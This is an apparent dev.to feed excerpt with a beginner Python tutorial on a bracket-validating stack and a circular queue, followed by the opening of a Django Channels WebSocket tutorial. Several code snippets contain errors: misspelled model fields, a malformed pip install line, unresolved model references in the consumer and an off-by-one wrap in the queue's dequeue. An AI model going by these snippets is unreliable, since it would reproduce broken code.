&lt;p&gt;You're probably wondering &lt;strong&gt;"Woah, now where the hell is this used in the real world dude????"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Be patient, young padawan.&lt;/em&gt; The stack system is widely used in various areas of technology. You've likely encountered it in your IDE, though you might not have consciously realized it. Let's refresh your memory. Consider when you create a function in Java to add two numbers and print the result on the screen like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class SumNumbers {
    public static void addAndPrint(int num1, int num2) {
        int result = num1 + num2;
        System.out.println("Sum result: " + result);
    }

    public static void main(String[] args) {
        int number1 = 5;
        int number2 = 10;

        addAndPrint(number1, number2);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you eventually do not close a parenthesis or bracket, you will receive a compilation error similar to this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/SumNumbers.java:11: error: ')' expected
        addAndPrint(number1, number2;
                                    ^
1 error
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is possible because the compiler stores the values of the opening parentheses on a stack. When the stack is being disassembled, it expects its elements to be completely emptied. If the compiler does not find a corresponding pair for that open parenthesis, an exception will be displayed in the terminal.&lt;/p&gt;

&lt;p&gt;We can create a stack that simulates the behavior with just a few adjustments to our original structure.&lt;/p&gt;

&lt;p&gt;Let's change the type of array we use in this case to the Char type.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class Stack:
    def __init__(self, size):
        self.__size = size
        self.__top = -1
        self.__values = np.chararray(self.__size, unicode=True)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We will also change the peek top method just for better visualization.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def peek_top(self):
        if not self.__is_empty():
            return self.__values[self.__top]
        else:
            return None
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And let's set the method &lt;em&gt;is_empty&lt;/em&gt; as a public method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def is_empty(self):
        return self.__top == -1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will create a function that receives input from the user of type string and creates an instance of the Stack class with the same size as the string entered by the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def validate_expression(expression):
    stack = Stack(len(expression))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we will iterate through the string, searching for the opening symbols of braces, brackets, and parentheses. If identified, we will add them to our stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    for i in range(len(expression)):
        ch = expression[i]
        if ch in ['{', '[', '(']:
            stack.push(ch)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the same iteration, we will search, always checking if the &lt;em&gt;stack&lt;/em&gt; is empty, for the closing symbols of braces, parentheses, and brackets. Within the first conditional, whenever we encounter one of these values, we will remove the last value inserted in the stack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        elif ch in ['}', ']', ')']:
            if not stack.is_empty():
                chx = str(stack.pop())
                if (ch == '}' and chx != '{') or (ch == ']' and chx != '[') or (ch == ')' and chx != '('):
                    raise Exception(f"Error: {ch} in position {i}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def validate_expression(expression):
    stack = Stack(len(expression))

    for i in range(len(expression)):
        ch = expression[i]
        if ch in ['{', '[', '(']:
            stack.push(ch)
        elif ch in ['}', ']', ')']:
            if not stack.is_empty():
                chx = str(stack.pop())
                if (ch == '}' and chx != '{') or (ch == ']' and chx != '[') or (ch == ')' and chx != '('):
                    raise Exception(f"Error: {ch} in position {i}")
    if not stack.is_empty():
        raise Exception("Error: Unmatched opening bracket(s)")

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To test our function we will receive input from the user and call the Stack class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;expression = input("Type your expression: ")
validate_expression(expression)
print("Expression is valid.")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's test with four inputs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;(a)(b){c}&lt;/li&gt;
&lt;li&gt;a(a[b]{c(d)})&lt;/li&gt;
&lt;li&gt;a(b(c(d)}])&lt;/li&gt;
&lt;li&gt;a(b{c)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Respectively our returns are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Expression is valid.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Expression is valid.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceback (most recent call last):
  File "expression_validate.py", line 52, in &amp;lt;module&amp;gt;
    validate_expression(expression)
  File "expression_validate.py", line 47, in validate_expression
    raise Exception(f"Error: {ch} in position {i}")
Exception: Error: } in position 8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceback (most recent call last):
  File "expression_validate.py", line 52, in &amp;lt;module&amp;gt;
    validate_expression(expression)
  File "expression_validate.py", line 47, in validate_expression
    raise Exception(f"Error: {ch} in position {i}")
Exception: Error: ) in position 5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that in the third and fourth entries, the last line of the Exception indicates that there is an error in positions eight and five respectively indicating that the braces were closed but not opened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Queues
&lt;/h2&gt;

&lt;p&gt;The queue, also known as a queue in English, is a dynamic set with a different principle called FIFO (First In, First Out). This approach is essential for solving complex application stress problems by organizing requests and processes based on the order in which they were created. This flow is fundamental for the orderly execution of asynchronous tasks, allowing, if the maximum capacity of the software or function is exceeded, surplus processes to be temporarily stored in data such as a cache. As executions occur, new processes in waiting are executed, ensuring the order of tasks. Various complex libraries, such as Celery, Kombu, Apache Kafka, and others, have been developed based on this data structure.&lt;/p&gt;

&lt;p&gt;The queue shares some operations with the stack, such as &lt;em&gt;Is empty&lt;/em&gt; and &lt;em&gt;Is full&lt;/em&gt;. However, it also has other methods, such as Enqueue and Dequeue, which involve adding an item to the end of the queue and removing an item from the beginning of the queue, respectively.&lt;/p&gt;

&lt;p&gt;There are two main types of queues, commonly referred to as linear queue and circular queue. In practice, the difference between them lies in the fact that a linear queue requires rearranging all positions when an element is added or removed. In the case of a circular queue, the indices indicating the first and last elements are repositioned. This approach has a direct impact on the algorithm's performance.In this section we will study about circular queues.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Let's start by visualizing how &lt;em&gt;enqueue&lt;/em&gt; operations would work. We'll insert the first item into the queue, and this element will have the same indices referencing both the first and last positions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fffx3yaqsgsy739wr56as.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fffx3yaqsgsy739wr56as.png" alt="First enqueue operation" width="431" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; The second &lt;em&gt;enqueue&lt;/em&gt; operation will add an element to the queue structure, thereby shifting the index that references the last position to the right.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqn22gnq78tallxigrpd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqn22gnq78tallxigrpd.png" alt="Second enqueue operation" width="522" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; The third &lt;em&gt;enqueue&lt;/em&gt; operation, again, will add an element to the queue structure, thereby shifting the index that references the last position to the right.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9v416gi5es61719wy4w2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9v416gi5es61719wy4w2.png" alt="Third enqueue operation " width="465" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; The fourth &lt;em&gt;enqueue&lt;/em&gt; operation will add an element to the queue structure, causing the index referencing the last position to shift to the right. In this operation, our array will reach its maximum size, and the index referencing the position of the last element will be equal to the array size minus one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt;Q[Last index] == Q[Size - 1]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gbxacfo9vevuq3a9w69.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gbxacfo9vevuq3a9w69.png" alt="Fourth enqueue operation" width="432" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5)&lt;/strong&gt; The fifth operation will be &lt;em&gt;dequeue&lt;/em&gt;. Conceptually, this operation will leave position 0 of our array empty but will maintain the original order of the first and last place indicators.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p48nz677prp8xxgq76x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p48nz677prp8xxgq76x.png" alt="Dequeue operation" width="437" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6)&lt;/strong&gt; The sixth operation will again be &lt;em&gt;enqueue&lt;/em&gt;, this operation will remove the next element to be dequeued, which has been to the left of the last element until now, shifting it to the right of the last element. This aspect of the operation requires a bit more attention when dealing with the code&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfkbpgrmjeaunwbwz8lh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfkbpgrmjeaunwbwz8lh.png" alt="fifth enqueue operation, pay attention to the new order of indicators" width="465" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7)&lt;/strong&gt; Next, we will perform the &lt;em&gt;dequeue&lt;/em&gt; operation followed by enqueue, which will maintain the current order of the next to be removed and last to be removed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2ob0i1pd9w8hpy0qzgbf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2ob0i1pd9w8hpy0qzgbf.png" alt="Dequeue follow by enqueue" width="452" height="301"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This way, we do not need to reallocate all elements in the list with each new operation. With this approach, we move away from using a linear queue with a performance of a &lt;em&gt;Big O(n)&lt;/em&gt; algorithm and instead, utilize a circular queue that operates with a &lt;em&gt;Big O(1)&lt;/em&gt; time complexity, maintaining constant performance regardless of the queue size.&lt;/p&gt;

&lt;h2&gt;
  
  
  Queue implementation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt;If you skipped to this part, go back a little to see the creation of our virtual environment.&lt;/p&gt;

&lt;p&gt;First, let's create our &lt;em&gt;Queue class&lt;/em&gt; and define five attributes.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;size -&amp;gt; The total size of the &lt;em&gt;Queue&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;start -&amp;gt; The first index of the &lt;em&gt;Queue&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;end -&amp;gt; The last index of the &lt;em&gt;Queue&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;elements -&amp;gt; All elements in the &lt;em&gt;Queue&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;values -&amp;gt; The array that the queue will be structured, with two parameters Size that will define the size of the array and dtype to indicate the type of data that will be inserted.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import numpy as np

class CircularQueue:
    def __init__(self, size):
        self.size = size
        self.start = 0
        self.end = -1
        self.elements = 0
        self.values = np.empty(self.size, dtype=int)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we will create two simple methods that will return &lt;strong&gt;boolean&lt;/strong&gt; values indicating whether the queue is empty or full. The queue will be considered full when the index value of the last added element is equal to the total size of the list indicated in its instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def __empty(self):
        return self.elements == 0

    def __is_full(self):
        return self.elements == self.size
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, we will create the enqueue method responsible for adding elements to the queue. Initially, we check if the queue is full. If it is, we print a message on the screen and conclude the method call. However, if it's not full, we initiate the addition process.&lt;/p&gt;

&lt;p&gt;First, we examine the positions of the next element to be removed and the last element. In this example queue [x, 2, 3, 4, 5], the index of the current last element is 4. Therefore, we check if the value of the last index satisfies the condition size &lt;code&gt;- 1 == 4&lt;/code&gt;. If true, since the queue isn't full, it means we have reached the last position but have empty spaces to the left.&lt;/p&gt;

&lt;p&gt;This way, the index of the next element will be -1. In the next line, we perform the operation &lt;code&gt;-1 + 1&lt;/code&gt;, which will return the value of index 0. This action causes the algorithm to overwrite the element at position zero, which has already been removed, with the next input element, thereby reversing the positions of the indicators.&lt;/p&gt;

&lt;p&gt;Then we will simply add the new element to the queue and update the values.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def enqueue(self, value):
        if self.__is_full():
            print('The queue is full')
            return
        else:
            if self.end == self.size - 1:
                self.end = -1
            self.end +=1 
            self.values[self.end] = value 
            self.elements +=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The next method to be created is the &lt;em&gt;dequeue&lt;/em&gt;, responsible for removing an element from the queue. Initially, we will check if the queue is already empty. If it is, a message indicating that the queue is already empty will be printed, and the method will be terminated. If the queue is not empty, we will store the value of the object to be removed in the &lt;em&gt;tmp&lt;/em&gt; variable and move the start index to the next element to be removed in future calls.&lt;/p&gt;

&lt;p&gt;Next, it checks if start has reached the end of the queue (the last possible index). If yes, it adjusts start to 0, indicating that the queue forms a loop, and the next element to be removed will be at the beginning of the queue.&lt;/p&gt;

&lt;p&gt;Then, we update the queue values and return the removed value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def dequeue(self):
        if self.__empty():
            print('The queue is already empty')
            return 
        tmp = self.values[self.start] 
        self.start +=1 
        if self.start == self.size -1:
            self.start = 0 
        self.elements -= 1
        return tmp 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last method will be first, which simply returns the next object to be removed from the queue &lt;strong&gt;without performing any operation on it&lt;/strong&gt;. Initially, we check if the queue is not empty. If it is, we print a message on the screen and terminate the method call. If it is not empty, we locate the element by the &lt;em&gt;start&lt;/em&gt; index and return the element at that position.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    def first(self):
        if self.__empty():
            return -1
        return self.values[self.start]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To test our implementation, we will perform a simple sequence of enqueues and dequeues, creating a queue with a size of 5.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;queue = CircularQueue(5)
print(queue.first()) # Empty queue
----------------------------------------
-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After that, we will call our enqueue method to add five elements to the queue and print the result.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for i in range(5):
    queue.enqueue(i)
print(f"The value of the first element is: {queue.first()}")
----------------------------------------
The value of the first element is: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; The value printed in the result above corresponds to the value of the element and not the index.&lt;/p&gt;

&lt;p&gt;Then, we will remove two elements and check what our first element in the list is after the removal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for j in range(2):
    print(f"The removed element has the value of {queue.dequeue()}")
print(f"The first element of the queue is: {queue.first()}")
----------------------------------------
The removed element has the value of 0
The removed element has the value of 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will insert two more elements in the queue, the first insertion will swap the positions of the indicators with each other.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for i in range(6,8):
    queue.enqueue(i)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxv3zcyeiztw03zjtonex.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxv3zcyeiztw03zjtonex.png" alt="Change positions" width="541" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then we will remove two elements again and check what our first element in the list is after the new removal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;for j in range(2):
    print(f"The removed element has the value of {queue.dequeue()}")
print(f"The first element of the queue is: {queue.first()}")
----------------------------------------
The removed element has the value of 2
The removed element has the value of 3
The first element of the queue is: 6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In summary, circular queues and stacks are essential components in streamlining data management processes. Their efficiency lies in the seamless handling of elements, providing valuable insights for tech enthusiasts. As we navigate the intricacies of computer science, a solid grasp of circular queues and stacks becomes indispensable for elevating algorithmic expertise.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/AlissonDuarte/Linear-structures" rel="noopener noreferrer"&gt;Feel free to send your questions and clone the repository to access the full code&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>algorithmics</category>
      <category>beginners</category>
      <category>datastructures</category>
    </item>
    <item>
      <title>Sockets for real-time data flow with Django Rest Framework</title>
      <dc:creator>Alisson</dc:creator>
      <pubDate>Thu, 02 Nov 2023 06:48:42 +0000</pubDate>
      <link>https://dev.to/shahahaco/sockets-for-real-time-data-flow-with-django-rest-framework-2bh6</link>
      <guid>https://dev.to/shahahaco/sockets-for-real-time-data-flow-with-django-rest-framework-2bh6</guid>
      <description>&lt;h2&gt;
  
  
  Real-Time Communication with Sockets
&lt;/h2&gt;

&lt;p&gt;In today's discussion, we delve into the realm of real-time communication between the back end and front end. We understand that a continuous data flow fosters a better user experience. However, without delving superficially into less sophisticated techniques such as API polling, we will focus directly on the power of socket-based communication. Python and Django natively support this approach, which involves a bidirectional protocol enabling a constant data stream between the sender and recipient.&lt;/p&gt;

&lt;p&gt;Stay tuned to explore the fascinating world of Django sockets and how they revolutionize real-time communication.&lt;/p&gt;

&lt;p&gt;First of all let's configure our environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;em&gt;Setting Up Your Django Project Directory&lt;/em&gt;
&lt;/h3&gt;

&lt;p&gt;To get started, let's create a directory for our project, which we'll name 'sockets.' Next, we'll update our package manager 'pip' and install the Django framework.&lt;/p&gt;

&lt;p&gt;Follow these steps to set up your project directory:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a project directory named 'sockets':
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;mkdir &lt;/span&gt;sockets
   &lt;span class="nb"&gt;cd &lt;/span&gt;sockets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Update your package manager 'pip':
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   python3.10 -m pip install --upgrade pip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Install the Django framework and Daphne:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   pip install django, daphne, channels
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; &lt;em&gt;Daphne is an ASGI (ASGI (Asynchronous Server Gateway Interface) capable of managing WebSockets type connections and asynchronous communications&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create and activate your virtual environment.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3.10 -m venv vsocket
source vsocket/bin/activate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;When you run these commands you will see something similar to this.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;Create your django project and your django app with these commands:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;django-admin startproject yourprojectname
django-admin startapp yourappname
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Register your application and daphne in the settings.py file in the 'INSTALLED_APPS' array. It is extremely important that 'daphne' is in position 0 of the array.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Application definition

INSTALLED_APPS = [
    'daphne',
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'yourappname'
]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Direct the entry point for asynchronous communications to the correct file.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Still in settings file.

WSGI_APPLICATION = 'yourprojectname.wsgi.application'
ASGI_APPLICATION = 'yourprojectname.asgi.application'

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;We will configure our ASGI server later.&lt;/em&gt; 😄&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  *Now let's configure our consumers, routing and models files.
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Firstly, let's just create a model to serve data for our socket.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from django.db import models

class Random(models.Model):
    id = models.BigAutoField(primary_key=True)
    text = models.CharFiel(max_lenght=255, blank=True,null=True)

class Queue(models.Model):
    id = models.BigAutoField(primary_key=True)
    status = models.IntegerField()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Let's apply this record to our database with the following commands.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 manage.py makemigrations
python3 manage.py migrate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; WebSocket Consumers in Django.&lt;/p&gt;

&lt;p&gt;WebSocket consumers in Django are classes that handle server-side logic for real-time communications, such as WebSocket connections. They are responsible for handling the interactive and real-time features of Django web applications. Consumers respond to WebSocket events such as opening, closing, and message exchange, and are defined based on routes that map WebSocket URLs to specific consumers. They work with asynchronous code to efficiently manage multiple simultaneous connections.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;To create our consumer, we need create a file called 'consumers.py&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;First we will create a &lt;em&gt;Consumer&lt;/em&gt; class that will inherit the WebsocketConsumer class to handle WebSocket communications.&lt;br&gt;
Next we will implement the &lt;em&gt;connect&lt;/em&gt; method to provide the means of connection between the client and the server. After the connection is made, the client is accepted with the &lt;em&gt;accept&lt;/em&gt; method, which allows the client to send and receive data.&lt;br&gt;
 Then we create a repeating block that will constantly update the number of records in the Random table in our database.&lt;br&gt;
Later we have the &lt;em&gt;disconnect&lt;/em&gt; method created to close the connection and the receive method that returns by default the data sent from the client to itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import json
import time
from channels.generic.websocket import WebsocketConsumer
from socketapp import models

class Consumer(WebsocketConsumer):
    def connect(self):
        self.accept()
        while int(1) in Queue.objects.all().values_list('status', flat=True):
            self.send(text_data=json.dumps({"value":Random.objects.all().count()}))
            Random.objects.create(text = "test")
            time.sleep(2)
        self.close()

    def disconnect(self, close_code):
        pass

    def receive(self, text_data):
        self.send(text_data=text_data)
        self.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
